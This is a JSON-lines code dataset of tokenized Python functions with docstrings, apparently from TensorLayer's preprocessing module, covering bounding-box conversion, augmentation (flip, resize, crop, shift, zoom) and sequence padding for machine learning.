{"signature": "def obj_box_coord_centroid_to_upleft_butright(coord, to_int=False):", "body": "if len(coord) != <NUM_LIT:4>:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>x_center, y_center, w, h = coord<EOL>x = x_center - w / <NUM_LIT><EOL>y = y_center - h / <NUM_LIT><EOL>x2 = x + w<EOL>y2 = y + h<EOL>if to_int:<EOL><INDENT>return [int(x), int(y), int(x2), int(y2)]<EOL><DEDENT>else:<EOL><INDENT>return [x, y, x2, y2]<EOL><DEDENT>", "docstring": "Convert one coordinate [x_center, y_center, w, h] to [x1, y1, x2, y2] in up-left and botton-right format.\n\n    Parameters\n    ------------\n    coord : list of 4 int/float\n        One coordinate.\n    to_int : boolean\n        Whether to convert output as integer.\n\n    Returns\n    -------\n    list of 4 numbers\n        New bounding box.\n\n    Examples\n    ---------\n    >>> coord = obj_box_coord_centroid_to_upleft_butright([30, 40, 20, 20])\n      [20, 30, 40, 50]", "id": "f11202:m57"}
{"signature": "def obj_box_coord_upleft_butright_to_centroid(coord):", "body": "if len(coord) != <NUM_LIT:4>:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>x1, y1, x2, y2 = coord<EOL>w = x2 - x1<EOL>h = y2 - y1<EOL>x_c = x1 + w / <NUM_LIT><EOL>y_c = y1 + h / <NUM_LIT><EOL>return [x_c, y_c, w, h]<EOL>", "docstring": "Convert one coordinate [x1, y1, x2, y2] to [x_center, y_center, w, h].\n    It is the reverse process of ``obj_box_coord_centroid_to_upleft_butright``.\n\n    Parameters\n    ------------\n    coord : list of 4 int/float\n        One coordinate.\n\n    Returns\n    -------\n    list of 4 numbers\n        New bounding box.", "id": "f11202:m58"}
{"signature": "def obj_box_coord_centroid_to_upleft(coord):", "body": "if len(coord) != <NUM_LIT:4>:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>x_center, y_center, w, h = coord<EOL>x = x_center - w / <NUM_LIT><EOL>y = y_center - h / <NUM_LIT><EOL>return [x, y, w, h]<EOL>", "docstring": "Convert one coordinate [x_center, y_center, w, h] to [x, y, w, h].\n    It is the reverse process of ``obj_box_coord_upleft_to_centroid``.\n\n    Parameters\n    ------------\n    coord : list of 4 int/float\n        One coordinate.\n\n    Returns\n    -------\n    list of 4 numbers\n        New bounding box.", "id": "f11202:m59"}
{"signature": "def obj_box_coord_upleft_to_centroid(coord):", "body": "if len(coord) != <NUM_LIT:4>:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>x, y, w, h = coord<EOL>x_center = x + w / <NUM_LIT><EOL>y_center = y + h / <NUM_LIT><EOL>return [x_center, y_center, w, h]<EOL>", "docstring": "Convert one coordinate [x, y, w, h] to [x_center, y_center, w, h].\n    It is the reverse process of ``obj_box_coord_centroid_to_upleft``.\n\n    Parameters\n    ------------\n    coord : list of 4 int/float\n        One coordinate.\n\n    Returns\n    -------\n    list of 4 numbers\n        New bounding box.", "id": "f11202:m60"}
{"signature": "def parse_darknet_ann_str_to_list(annotations):", "body": "annotations = annotations.split(\"<STR_LIT:\\n>\")<EOL>ann = []<EOL>for a in annotations:<EOL><INDENT>a = a.split()<EOL>if len(a) == <NUM_LIT:5>:<EOL><INDENT>for i, _v in enumerate(a):<EOL><INDENT>if i == <NUM_LIT:0>:<EOL><INDENT>a[i] = int(a[i])<EOL><DEDENT>else:<EOL><INDENT>a[i] = float(a[i])<EOL><DEDENT><DEDENT>ann.append(a)<EOL><DEDENT><DEDENT>return ann<EOL>", "docstring": "r\"\"\"Input string format of class, x, y, w, h, return list of list format.\n\n    Parameters\n    -----------\n    annotations : str\n        The annotations in darkent format \"class, x, y, w, h ....\" seperated by \"\\\\n\".\n\n    Returns\n    -------\n    list of list of 4 numbers\n        List of bounding box.", "id": "f11202:m61"}
{"signature": "def parse_darknet_ann_list_to_cls_box(annotations):", "body": "class_list = []<EOL>bbox_list = []<EOL>for ann in annotations:<EOL><INDENT>class_list.append(ann[<NUM_LIT:0>])<EOL>bbox_list.append(ann[<NUM_LIT:1>:])<EOL><DEDENT>return class_list, bbox_list<EOL>", "docstring": "Parse darknet annotation format into two lists for class and bounding box.\n\n    Input list of [[class, x, y, w, h], ...], return two list of [class ...] and [[x, y, w, h], ...].\n\n    Parameters\n    ------------\n    annotations : list of list\n        A list of class and bounding boxes of images e.g. [[class, x, y, w, h], ...]\n\n    Returns\n    -------\n    list of int\n        List of class labels.\n\n    list of list of 4 numbers\n        List of bounding box.", "id": "f11202:m62"}
{"signature": "def obj_box_horizontal_flip(im, coords=None, is_rescale=False, is_center=False, is_random=False):", "body": "if coords is None:<EOL><INDENT>coords = []<EOL><DEDENT>def _flip(im, coords):<EOL><INDENT>im = flip_axis(im, axis=<NUM_LIT:1>, is_random=False)<EOL>coords_new = list()<EOL>for coord in coords:<EOL><INDENT>if len(coord) != <NUM_LIT:4>:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>if is_rescale:<EOL><INDENT>if is_center:<EOL><INDENT>x = <NUM_LIT:1.> - coord[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>x = <NUM_LIT:1.> - coord[<NUM_LIT:0>] - coord[<NUM_LIT:2>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if is_center:<EOL><INDENT>x = im.shape[<NUM_LIT:1>] - coord[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>x = im.shape[<NUM_LIT:1>] - coord[<NUM_LIT:0>] - coord[<NUM_LIT:2>]<EOL><DEDENT><DEDENT>coords_new.append([x, coord[<NUM_LIT:1>], coord[<NUM_LIT:2>], coord[<NUM_LIT:3>]])<EOL><DEDENT>return im, coords_new<EOL><DEDENT>if is_random:<EOL><INDENT>factor = np.random.uniform(-<NUM_LIT:1>, <NUM_LIT:1>)<EOL>if factor > <NUM_LIT:0>:<EOL><INDENT>return _flip(im, coords)<EOL><DEDENT>else:<EOL><INDENT>return im, coords<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return _flip(im, coords)<EOL><DEDENT>", "docstring": "Left-right flip the image and coordinates for object detection.\n\n    Parameters\n    ----------\n    im : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    coords : list of list of 4 int/float or None\n        Coordinates [[x, y, w, h], [x, y, w, h], ...].\n    is_rescale : boolean\n        Set to True, if the input coordinates are rescaled to [0, 1]. Default is False.\n    is_center : boolean\n        Set to True, if the x and y of coordinates are the centroid (i.e. darknet format). Default is False.\n    is_random : boolean\n        If True, randomly flip. Default is False.\n\n    Returns\n    -------\n    numpy.array\n        A processed image\n    list of list of 4 numbers\n        A list of new bounding boxes.\n\n    Examples\n    --------\n    >>> im = np.zeros([80, 100])    # as an image with shape width=100, height=80\n    >>> im, coords = obj_box_left_right_flip(im, coords=[[0.2, 0.4, 0.3, 0.3], [0.1, 0.5, 0.2, 0.3]], is_rescale=True, is_center=True, is_random=False)\n    >>> print(coords)\n      [[0.8, 0.4, 0.3, 0.3], [0.9, 0.5, 0.2, 0.3]]\n    >>> im, coords = obj_box_left_right_flip(im, coords=[[0.2, 0.4, 0.3, 0.3]], is_rescale=True, is_center=False, is_random=False)\n    >>> print(coords)\n      [[0.5, 0.4, 0.3, 0.3]]\n    >>> im, coords = obj_box_left_right_flip(im, coords=[[20, 40, 30, 30]], is_rescale=False, is_center=True, is_random=False)\n    >>> print(coords)\n      [[80, 40, 30, 30]]\n    >>> im, coords = obj_box_left_right_flip(im, coords=[[20, 40, 30, 30]], is_rescale=False, is_center=False, is_random=False)\n    >>> print(coords)\n      [[50, 40, 30, 30]]", "id": "f11202:m63"}
{"signature": "def obj_box_imresize(im, coords=None, size=None, interp='<STR_LIT>', mode=None, is_rescale=False):", "body": "if coords is None:<EOL><INDENT>coords = []<EOL><DEDENT>if size is None:<EOL><INDENT>size = [<NUM_LIT:100>, <NUM_LIT:100>]<EOL><DEDENT>imh, imw = im.shape[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>imh = imh * <NUM_LIT:1.0>  <EOL>imw = imw * <NUM_LIT:1.0><EOL>im = imresize(im, size=size, interp=interp, mode=mode)<EOL>if is_rescale is False:<EOL><INDENT>coords_new = list()<EOL>for coord in coords:<EOL><INDENT>if len(coord) != <NUM_LIT:4>:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>x = int(coord[<NUM_LIT:0>] * (size[<NUM_LIT:1>] / imw))<EOL>y = int(coord[<NUM_LIT:1>] * (size[<NUM_LIT:0>] / imh))<EOL>w = int(coord[<NUM_LIT:2>] * (size[<NUM_LIT:1>] / imw))<EOL>h = int(coord[<NUM_LIT:3>] * (size[<NUM_LIT:0>] / imh))<EOL>coords_new.append([x, y, w, h])<EOL><DEDENT>return im, coords_new<EOL><DEDENT>else:<EOL><INDENT>return im, coords<EOL><DEDENT>", "docstring": "Resize an image, and compute the new bounding box coordinates.\n\n    Parameters\n    -------------\n    im : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    coords : list of list of 4 int/float or None\n        Coordinates [[x, y, w, h], [x, y, w, h], ...]\n    size interp and mode : args\n        See ``tl.prepro.imresize``.\n    is_rescale : boolean\n        Set to True, if the input coordinates are rescaled to [0, 1], then return the original coordinates. Default is False.\n\n    Returns\n    -------\n    numpy.array\n        A processed image\n    list of list of 4 numbers\n        A list of new bounding boxes.\n\n    Examples\n    --------\n    >>> im = np.zeros([80, 100, 3])    # as an image with shape width=100, height=80\n    >>> _, coords = obj_box_imresize(im, coords=[[20, 40, 30, 30], [10, 20, 20, 20]], size=[160, 200], is_rescale=False)\n    >>> print(coords)\n      [[40, 80, 60, 60], [20, 40, 40, 40]]\n    >>> _, coords = obj_box_imresize(im, coords=[[20, 40, 30, 30]], size=[40, 100], is_rescale=False)\n    >>> print(coords)\n      [[20, 20, 30, 15]]\n    >>> _, coords = obj_box_imresize(im, coords=[[20, 40, 30, 30]], size=[60, 150], is_rescale=False)\n    >>> print(coords)\n      [[30, 30, 45, 22]]\n    >>> im2, coords = obj_box_imresize(im, coords=[[0.2, 0.4, 0.3, 0.3]], size=[160, 200], is_rescale=True)\n    >>> print(coords, im2.shape)\n      [[0.2, 0.4, 0.3, 0.3]] (160, 200, 3)", "id": "f11202:m64"}
{"signature": "def obj_box_crop(<EOL>im, classes=None, coords=None, wrg=<NUM_LIT:100>, hrg=<NUM_LIT:100>, is_rescale=False, is_center=False, is_random=False,<EOL>thresh_wh=<NUM_LIT>, thresh_wh2=<NUM_LIT><EOL>):", "body": "if classes is None:<EOL><INDENT>classes = []<EOL><DEDENT>if coords is None:<EOL><INDENT>coords = []<EOL><DEDENT>h, w = im.shape[<NUM_LIT:0>], im.shape[<NUM_LIT:1>]<EOL>if (h <= hrg) or (w <= wrg):<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>if is_random:<EOL><INDENT>h_offset = int(np.random.uniform(<NUM_LIT:0>, h - hrg) - <NUM_LIT:1>)<EOL>w_offset = int(np.random.uniform(<NUM_LIT:0>, w - wrg) - <NUM_LIT:1>)<EOL>h_end = hrg + h_offset<EOL>w_end = wrg + w_offset<EOL>im_new = im[h_offset:h_end, w_offset:w_end]<EOL><DEDENT>else:  <EOL><INDENT>h_offset = int(np.floor((h - hrg) / <NUM_LIT>))<EOL>w_offset = int(np.floor((w - wrg) / <NUM_LIT>))<EOL>h_end = h_offset + hrg<EOL>w_end = w_offset + wrg<EOL>im_new = im[h_offset:h_end, w_offset:w_end]<EOL><DEDENT>def _get_coord(coord):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if is_center:<EOL><INDENT>coord = obj_box_coord_centroid_to_upleft(coord)<EOL><DEDENT>x = coord[<NUM_LIT:0>] - w_offset<EOL>y = coord[<NUM_LIT:1>] - h_offset<EOL>w = coord[<NUM_LIT:2>]<EOL>h = coord[<NUM_LIT:3>]<EOL>if x < <NUM_LIT:0>:<EOL><INDENT>if x + w <= <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>w = w + x<EOL>x = <NUM_LIT:0><EOL><DEDENT>elif x > im_new.shape[<NUM_LIT:1>]:  <EOL><INDENT>return None<EOL><DEDENT>if y < <NUM_LIT:0>:<EOL><INDENT>if y + h <= <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>h = h + y<EOL>y = <NUM_LIT:0><EOL><DEDENT>elif y > im_new.shape[<NUM_LIT:0>]:  <EOL><INDENT>return None<EOL><DEDENT>if (x is not None) and (x + w > im_new.shape[<NUM_LIT:1>]):  <EOL><INDENT>w = im_new.shape[<NUM_LIT:1>] - x<EOL><DEDENT>if (y is not None) and (y + h > im_new.shape[<NUM_LIT:0>]):  <EOL><INDENT>h = im_new.shape[<NUM_LIT:0>] - y<EOL><DEDENT>if (w / (h + <NUM_LIT:1.>) > thresh_wh2) or (h / (w + <NUM_LIT:1.>) > thresh_wh2):  <EOL><INDENT>return None<EOL><DEDENT>if (w / (im_new.shape[<NUM_LIT:1>] * <NUM_LIT:1.>) < thresh_wh) or (h / (im_new.shape[<NUM_LIT:0>] * <NUM_LIT:1.>) <<EOL>thresh_wh):  <EOL><INDENT>return None<EOL><DEDENT>coord = [x, y, w, h]<EOL>if is_center:<EOL><INDENT>coord = obj_box_coord_upleft_to_centroid(coord)<EOL><DEDENT>return coord<EOL><DEDENT>coords_new = list()<EOL>classes_new = list()<EOL>for i, _ in enumerate(coords):<EOL><INDENT>coord = coords[i]<EOL>if len(coord) != <NUM_LIT:4>:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>if is_rescale:<EOL><INDENT>coord = obj_box_coord_scale_to_pixelunit(coord, im.shape)<EOL>coord = _get_coord(coord)<EOL>if coord is not None:<EOL><INDENT>coord = obj_box_coord_rescale(coord, im_new.shape)<EOL>coords_new.append(coord)<EOL>classes_new.append(classes[i])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>coord = _get_coord(coord)<EOL>if coord is not None:<EOL><INDENT>coords_new.append(coord)<EOL>classes_new.append(classes[i])<EOL><DEDENT><DEDENT><DEDENT>return im_new, classes_new, coords_new<EOL>", "docstring": "Randomly or centrally crop an image, and compute the new bounding box coordinates.\n    Objects outside the cropped image will be removed.\n\n    Parameters\n    -----------\n    im : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    classes : list of int or None\n        Class IDs.\n    coords : list of list of 4 int/float or None\n        Coordinates [[x, y, w, h], [x, y, w, h], ...]\n    wrg hrg and is_random : args\n        See ``tl.prepro.crop``.\n    is_rescale : boolean\n        Set to True, if the input coordinates are rescaled to [0, 1]. Default is False.\n    is_center : boolean, default False\n        Set to True, if the x and y of coordinates are the centroid (i.e. darknet format). Default is False.\n    thresh_wh : float\n        Threshold, remove the box if its ratio of width(height) to image size less than the threshold.\n    thresh_wh2 : float\n        Threshold, remove the box if its ratio of width to height or vice verse higher than the threshold.\n\n    Returns\n    -------\n    numpy.array\n        A processed image\n    list of int\n        A list of classes\n    list of list of 4 numbers\n        A list of new bounding boxes.", "id": "f11202:m65"}
{"signature": "def obj_box_shift(<EOL>im, classes=None, coords=None, wrg=<NUM_LIT:0.1>, hrg=<NUM_LIT:0.1>, row_index=<NUM_LIT:0>, col_index=<NUM_LIT:1>, channel_index=<NUM_LIT:2>, fill_mode='<STR_LIT>',<EOL>cval=<NUM_LIT:0.>, order=<NUM_LIT:1>, is_rescale=False, is_center=False, is_random=False, thresh_wh=<NUM_LIT>, thresh_wh2=<NUM_LIT><EOL>):", "body": "if classes is None:<EOL><INDENT>classes = []<EOL><DEDENT>if coords is None:<EOL><INDENT>coords = []<EOL><DEDENT>imh, imw = im.shape[row_index], im.shape[col_index]<EOL>if (hrg >= <NUM_LIT:1.0>) and (hrg <= <NUM_LIT:0.>) and (wrg >= <NUM_LIT:1.0>) and (wrg <= <NUM_LIT:0.>):<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>if is_random:<EOL><INDENT>tx = np.random.uniform(-hrg, hrg) * imh<EOL>ty = np.random.uniform(-wrg, wrg) * imw<EOL><DEDENT>else:<EOL><INDENT>tx, ty = hrg * imh, wrg * imw<EOL><DEDENT>translation_matrix = np.array([[<NUM_LIT:1>, <NUM_LIT:0>, tx], [<NUM_LIT:0>, <NUM_LIT:1>, ty], [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>]])<EOL>transform_matrix = translation_matrix  <EOL>im_new = affine_transform(im, transform_matrix, channel_index, fill_mode, cval, order)<EOL>def _get_coord(coord):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if is_center:<EOL><INDENT>coord = obj_box_coord_centroid_to_upleft(coord)<EOL><DEDENT>x = coord[<NUM_LIT:0>] - ty  <EOL>y = coord[<NUM_LIT:1>] - tx  <EOL>w = coord[<NUM_LIT:2>]<EOL>h = coord[<NUM_LIT:3>]<EOL>if x < <NUM_LIT:0>:<EOL><INDENT>if x + w <= <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>w = w + x<EOL>x = <NUM_LIT:0><EOL><DEDENT>elif x > im_new.shape[<NUM_LIT:1>]:  <EOL><INDENT>return None<EOL><DEDENT>if y < <NUM_LIT:0>:<EOL><INDENT>if y + h <= <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>h = h + y<EOL>y = <NUM_LIT:0><EOL><DEDENT>elif y > im_new.shape[<NUM_LIT:0>]:  <EOL><INDENT>return None<EOL><DEDENT>if (x is not None) and (x + w > im_new.shape[<NUM_LIT:1>]):  <EOL><INDENT>w = im_new.shape[<NUM_LIT:1>] - x<EOL><DEDENT>if (y is not None) and (y + h > im_new.shape[<NUM_LIT:0>]):  <EOL><INDENT>h = im_new.shape[<NUM_LIT:0>] - y<EOL><DEDENT>if (w / (h + <NUM_LIT:1.>) > thresh_wh2) or (h / (w + <NUM_LIT:1.>) > thresh_wh2):  <EOL><INDENT>return None<EOL><DEDENT>if (w / (im_new.shape[<NUM_LIT:1>] * <NUM_LIT:1.>) < thresh_wh) or (h / (im_new.shape[<NUM_LIT:0>] * <NUM_LIT:1.>) <<EOL>thresh_wh):  <EOL><INDENT>return None<EOL><DEDENT>coord = [x, y, w, h]<EOL>if is_center:<EOL><INDENT>coord = obj_box_coord_upleft_to_centroid(coord)<EOL><DEDENT>return coord<EOL><DEDENT>coords_new = list()<EOL>classes_new = list()<EOL>for i, _ in enumerate(coords):<EOL><INDENT>coord = coords[i]<EOL>if len(coord) != <NUM_LIT:4>:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>if is_rescale:<EOL><INDENT>coord = obj_box_coord_scale_to_pixelunit(coord, im.shape)<EOL>coord = _get_coord(coord)<EOL>if coord is not None:<EOL><INDENT>coord = obj_box_coord_rescale(coord, im_new.shape)<EOL>coords_new.append(coord)<EOL>classes_new.append(classes[i])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>coord = _get_coord(coord)<EOL>if coord is not None:<EOL><INDENT>coords_new.append(coord)<EOL>classes_new.append(classes[i])<EOL><DEDENT><DEDENT><DEDENT>return im_new, classes_new, coords_new<EOL>", "docstring": "Shift an image randomly or non-randomly, and compute the new bounding box coordinates.\n    Objects outside the cropped image will be removed.\n\n    Parameters\n    -----------\n    im : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    classes : list of int or None\n        Class IDs.\n    coords : list of list of 4 int/float or None\n        Coordinates [[x, y, w, h], [x, y, w, h], ...]\n    wrg, hrg row_index col_index channel_index is_random fill_mode cval and order : see ``tl.prepro.shift``.\n    is_rescale : boolean\n        Set to True, if the input coordinates are rescaled to [0, 1]. Default is False.\n    is_center : boolean\n        Set to True, if the x and y of coordinates are the centroid (i.e. darknet format). Default is False.\n    thresh_wh : float\n        Threshold, remove the box if its ratio of width(height) to image size less than the threshold.\n    thresh_wh2 : float\n        Threshold, remove the box if its ratio of width to height or vice verse higher than the threshold.\n\n\n    Returns\n    -------\n    numpy.array\n        A processed image\n    list of int\n        A list of classes\n    list of list of 4 numbers\n        A list of new bounding boxes.", "id": "f11202:m66"}
{"signature": "def obj_box_zoom(<EOL>im, classes=None, coords=None, zoom_range=(<NUM_LIT>,<EOL><NUM_LIT>), row_index=<NUM_LIT:0>, col_index=<NUM_LIT:1>, channel_index=<NUM_LIT:2>, fill_mode='<STR_LIT>',<EOL>cval=<NUM_LIT:0.>, order=<NUM_LIT:1>, is_rescale=False, is_center=False, is_random=False, thresh_wh=<NUM_LIT>, thresh_wh2=<NUM_LIT><EOL>):", "body": "if classes is None:<EOL><INDENT>classes = []<EOL><DEDENT>if coords is None:<EOL><INDENT>coords = []<EOL><DEDENT>if len(zoom_range) != <NUM_LIT:2>:<EOL><INDENT>raise Exception('<STR_LIT>' '<STR_LIT>', zoom_range)<EOL><DEDENT>if is_random:<EOL><INDENT>if zoom_range[<NUM_LIT:0>] == <NUM_LIT:1> and zoom_range[<NUM_LIT:1>] == <NUM_LIT:1>:<EOL><INDENT>zx, zy = <NUM_LIT:1>, <NUM_LIT:1><EOL>tl.logging.info(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>zx, zy = np.random.uniform(zoom_range[<NUM_LIT:0>], zoom_range[<NUM_LIT:1>], <NUM_LIT:2>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>zx, zy = zoom_range<EOL><DEDENT>zoom_matrix = np.array([[zx, <NUM_LIT:0>, <NUM_LIT:0>], [<NUM_LIT:0>, zy, <NUM_LIT:0>], [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>]])<EOL>h, w = im.shape[row_index], im.shape[col_index]<EOL>transform_matrix = transform_matrix_offset_center(zoom_matrix, h, w)<EOL>im_new = affine_transform(im, transform_matrix, channel_index, fill_mode, cval, order)<EOL>def _get_coord(coord):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if is_center:<EOL><INDENT>coord = obj_box_coord_centroid_to_upleft(coord)<EOL><DEDENT>x = (coord[<NUM_LIT:0>] - im.shape[<NUM_LIT:1>] / <NUM_LIT:2>) / zy + im.shape[<NUM_LIT:1>] / <NUM_LIT:2>  <EOL>y = (coord[<NUM_LIT:1>] - im.shape[<NUM_LIT:0>] / <NUM_LIT:2>) / zx + im.shape[<NUM_LIT:0>] / <NUM_LIT:2>  <EOL>w = coord[<NUM_LIT:2>] / zy  <EOL>h = coord[<NUM_LIT:3>] / zx  <EOL>if x < <NUM_LIT:0>:<EOL><INDENT>if x + w <= <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>w = w + x<EOL>x = <NUM_LIT:0><EOL><DEDENT>elif x > im_new.shape[<NUM_LIT:1>]:  <EOL><INDENT>return None<EOL><DEDENT>if y < <NUM_LIT:0>:<EOL><INDENT>if y + h <= <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>h = h + y<EOL>y = <NUM_LIT:0><EOL><DEDENT>elif y > im_new.shape[<NUM_LIT:0>]:  <EOL><INDENT>return None<EOL><DEDENT>if (x is not None) and (x + w > im_new.shape[<NUM_LIT:1>]):  <EOL><INDENT>w = im_new.shape[<NUM_LIT:1>] - x<EOL><DEDENT>if (y is not None) and (y + h > im_new.shape[<NUM_LIT:0>]):  <EOL><INDENT>h = im_new.shape[<NUM_LIT:0>] - y<EOL><DEDENT>if (w / (h + <NUM_LIT:1.>) > thresh_wh2) or (h / (w + <NUM_LIT:1.>) > thresh_wh2):  <EOL><INDENT>return None<EOL><DEDENT>if (w / (im_new.shape[<NUM_LIT:1>] * <NUM_LIT:1.>) < thresh_wh) or (h / (im_new.shape[<NUM_LIT:0>] * <NUM_LIT:1.>) <<EOL>thresh_wh):  <EOL><INDENT>return None<EOL><DEDENT>coord = [x, y, w, h]<EOL>if is_center:<EOL><INDENT>coord = obj_box_coord_upleft_to_centroid(coord)<EOL><DEDENT>return coord<EOL><DEDENT>coords_new = list()<EOL>classes_new = list()<EOL>for i, _ in enumerate(coords):<EOL><INDENT>coord = coords[i]<EOL>if len(coord) != <NUM_LIT:4>:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>if is_rescale:<EOL><INDENT>coord = obj_box_coord_scale_to_pixelunit(coord, im.shape)<EOL>coord = _get_coord(coord)<EOL>if coord is not None:<EOL><INDENT>coord = obj_box_coord_rescale(coord, im_new.shape)<EOL>coords_new.append(coord)<EOL>classes_new.append(classes[i])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>coord = _get_coord(coord)<EOL>if coord is not None:<EOL><INDENT>coords_new.append(coord)<EOL>classes_new.append(classes[i])<EOL><DEDENT><DEDENT><DEDENT>return im_new, classes_new, coords_new<EOL>", "docstring": "Zoom in and out of a single image, randomly or non-randomly, and compute the new bounding box coordinates.\n    Objects outside the cropped image will be removed.\n\n    Parameters\n    -----------\n    im : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    classes : list of int or None\n        Class IDs.\n    coords : list of list of 4 int/float or None\n        Coordinates [[x, y, w, h], [x, y, w, h], ...].\n    zoom_range row_index col_index channel_index is_random fill_mode cval and order : see ``tl.prepro.zoom``.\n    is_rescale : boolean\n        Set to True, if the input coordinates are rescaled to [0, 1]. Default is False.\n    is_center : boolean\n        Set to True, if the x and y of coordinates are the centroid. (i.e. darknet format). Default is False.\n    thresh_wh : float\n        Threshold, remove the box if its ratio of width(height) to image size less than the threshold.\n    thresh_wh2 : float\n        Threshold, remove the box if its ratio of width to height or vice verse higher than the threshold.\n\n    Returns\n    -------\n    numpy.array\n        A processed image\n    list of int\n        A list of classes\n    list of list of 4 numbers\n        A list of new bounding boxes.", "id": "f11202:m67"}
{"signature": "def pad_sequences(sequences, maxlen=None, dtype='<STR_LIT>', padding='<STR_LIT>', truncating='<STR_LIT>', value=<NUM_LIT:0.>):", "body": "lengths = [len(s) for s in sequences]<EOL>nb_samples = len(sequences)<EOL>if maxlen is None:<EOL><INDENT>maxlen = np.max(lengths)<EOL><DEDENT>sample_shape = tuple()<EOL>for s in sequences:<EOL><INDENT>if len(s) > <NUM_LIT:0>:<EOL><INDENT>sample_shape = np.asarray(s).shape[<NUM_LIT:1>:]<EOL>break<EOL><DEDENT><DEDENT>x = (np.ones((nb_samples, maxlen) + sample_shape) * value).astype(dtype)<EOL>for idx, s in enumerate(sequences):<EOL><INDENT>if len(s) == <NUM_LIT:0>:<EOL><INDENT>continue  <EOL><DEDENT>if truncating == '<STR_LIT>':<EOL><INDENT>trunc = s[-maxlen:]<EOL><DEDENT>elif truncating == '<STR_LIT>':<EOL><INDENT>trunc = s[:maxlen]<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % truncating)<EOL><DEDENT>trunc = np.asarray(trunc, dtype=dtype)<EOL>if trunc.shape[<NUM_LIT:1>:] != sample_shape:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>' %<EOL>(trunc.shape[<NUM_LIT:1>:], idx, sample_shape)<EOL>)<EOL><DEDENT>if padding == '<STR_LIT>':<EOL><INDENT>x[idx, :len(trunc)] = trunc<EOL><DEDENT>elif padding == '<STR_LIT>':<EOL><INDENT>x[idx, -len(trunc):] = trunc<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % padding)<EOL><DEDENT><DEDENT>return x.tolist()<EOL>", "docstring": "Pads each sequence to the same length:\n    the length of the longest sequence.\n    If maxlen is provided, any sequence longer\n    than maxlen is truncated to maxlen.\n    Truncation happens off either the beginning (default) or\n    the end of the sequence.\n    Supports post-padding and pre-padding (default).\n\n    Parameters\n    ----------\n    sequences : list of list of int\n        All sequences where each row is a sequence.\n    maxlen : int\n        Maximum length.\n    dtype : numpy.dtype or str\n        Data type to cast the resulting sequence.\n    padding : str\n        Either 'pre' or 'post', pad either before or after each sequence.\n    truncating : str\n        Either 'pre' or 'post', remove values from sequences larger than maxlen either in the beginning or in the end of the sequence\n    value : float\n        Value to pad the sequences to the desired value.\n\n    Returns\n    ----------\n    x : numpy.array\n        With dimensions (number_of_sequences, maxlen)\n\n    Examples\n    ----------\n    >>> sequences = [[1,1,1,1,1],[2,2,2],[3,3]]\n    >>> sequences = pad_sequences(sequences, maxlen=None, dtype='int32',\n    ...                  padding='post', truncating='pre', value=0.)\n    [[1 1 1 1 1]\n     [2 2 2 0 0]\n     [3 3 0 0 0]]", "id": "f11202:m68"}
{"signature": "def remove_pad_sequences(sequences, pad_id=<NUM_LIT:0>):", "body": "sequences_out = copy.deepcopy(sequences)<EOL>for i, _ in enumerate(sequences):<EOL><INDENT>for j in range(<NUM_LIT:1>, len(sequences[i])):<EOL><INDENT>if sequences[i][-j] != pad_id:<EOL><INDENT>sequences_out[i] = sequences_out[i][<NUM_LIT:0>:-j + <NUM_LIT:1>]<EOL>break<EOL><DEDENT><DEDENT><DEDENT>return sequences_out<EOL>", "docstring": "Remove padding.\n\n    Parameters\n    -----------\n    sequences : list of list of int\n        All sequences where each row is a sequence.\n    pad_id : int\n        The pad ID.\n\n    Returns\n    ----------\n    list of list of int\n        The processed sequences.\n\n    Examples\n    ----------\n    >>> sequences = [[2,3,4,0,0], [5,1,2,3,4,0,0,0], [4,5,0,2,4,0,0,0]]\n    >>> print(remove_pad_sequences(sequences, pad_id=0))\n    [[2, 3, 4], [5, 1, 2, 3, 4], [4, 5, 0, 2, 4]]", "id": "f11202:m69"}
